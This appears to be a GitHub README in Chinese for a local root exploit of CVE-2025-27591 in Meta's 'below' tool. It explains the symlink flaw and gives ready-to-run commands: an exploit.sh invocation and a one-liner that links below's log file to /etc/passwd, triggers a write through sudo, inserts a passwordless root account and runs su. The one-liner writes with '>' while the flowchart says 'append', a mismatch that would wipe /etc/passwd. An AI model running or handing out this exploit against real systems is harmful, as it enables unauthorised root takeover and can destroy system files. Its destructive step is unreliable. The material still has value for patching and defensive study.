rippsec/CVE-2025-27591-Meta-below-LPE
GitHub: rippsec/CVE-2025-27591-Meta-below-LPE
该工具演示并验证 CVE-2025-27591 符号链接触发的本地提权漏洞。
Stars: 0 | Forks: 0
# CVE-2025-27591 — Meta `below` 符号链接本地提权
## 概述
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2025-27591 |
| **软件** | Meta `below`(系统资源监控工具) |
| **受影响版本** | < 0.9.0 |
| **漏洞类型** | 符号链接触发 → 以 root 身份任意文件覆盖 |
| **认证要求** | 具有 `below` sudo 权限的本地用户 |
| **影响** | 本地提权至 root |
| **发现背景** | 在 HackTheBox CTF 期间发现 |
## 描述
Meta Platforms, Inc. 开发的系统资源监控工具 `below` 在其错误日志记录机制中存在缺陷。当通过 `sudo` 调用时,它会在未检查目标路径是否为符号链接的情况下,强制对位于 `/var/log/below/` 的日志文件设置 `0666` 权限。这使得本地攻击者可以将日志文件替换为指向任意 root 可写文件的符号链接,从而以可控内容覆盖目标文件。
## 技术细节
### 根本原因
`below < 0.9.0` 中的日志代码在以 root 身份运行时按顺序执行以下操作:
1. 确定日志路径:`/var/log/below/error_root.log`
2. 创建或打开文件
3. 调用 `chmod(path, 0o666)` —— **未检查是否为符号链接**
4. 将错误消息写入路径
在第 4 步中,如果路径在此前已被替换为符号链接,写入操作将实际作用于符号链接的目标文件。
### 利用链
```
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
```
### 为什么 `--time "invalid"` 有效
传递无效的时间字符串会强制 `below` 记录一条错误信息。错误路径会进入日志代码并盲目写入文件,此时该文件已变为我们的符号链接。
## 使用方法
```
chmod +x exploit.sh
./exploit.sh
```
### 单行命令
```
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
```
## 概念验证
```
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
```
## 补丁
`below` 版本 `0.9.0` 已修复该漏洞。修复方案在日志路径的任何文件操作前引入了符号链接检查。
## 参考
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2025-27591)
- [Meta below GitHub](https://github.com/facebookincubator/below)
标签:0666权限, chmod, Cutter, CVE-2025-27591, /etc/passwd, HackTheBox CTF, Linux提权, Meta below, Privilege Escalation, root权限, sudo提权, /var/log/below/error_root.log, 任意文件覆盖, 威胁模拟, 文件写入漏洞, 文件权限绕过, 日志安全, 日志文件篡改, 本地权限提升, 符号链接跟随, 系统资源监控, 路径遍历, 错误日志机制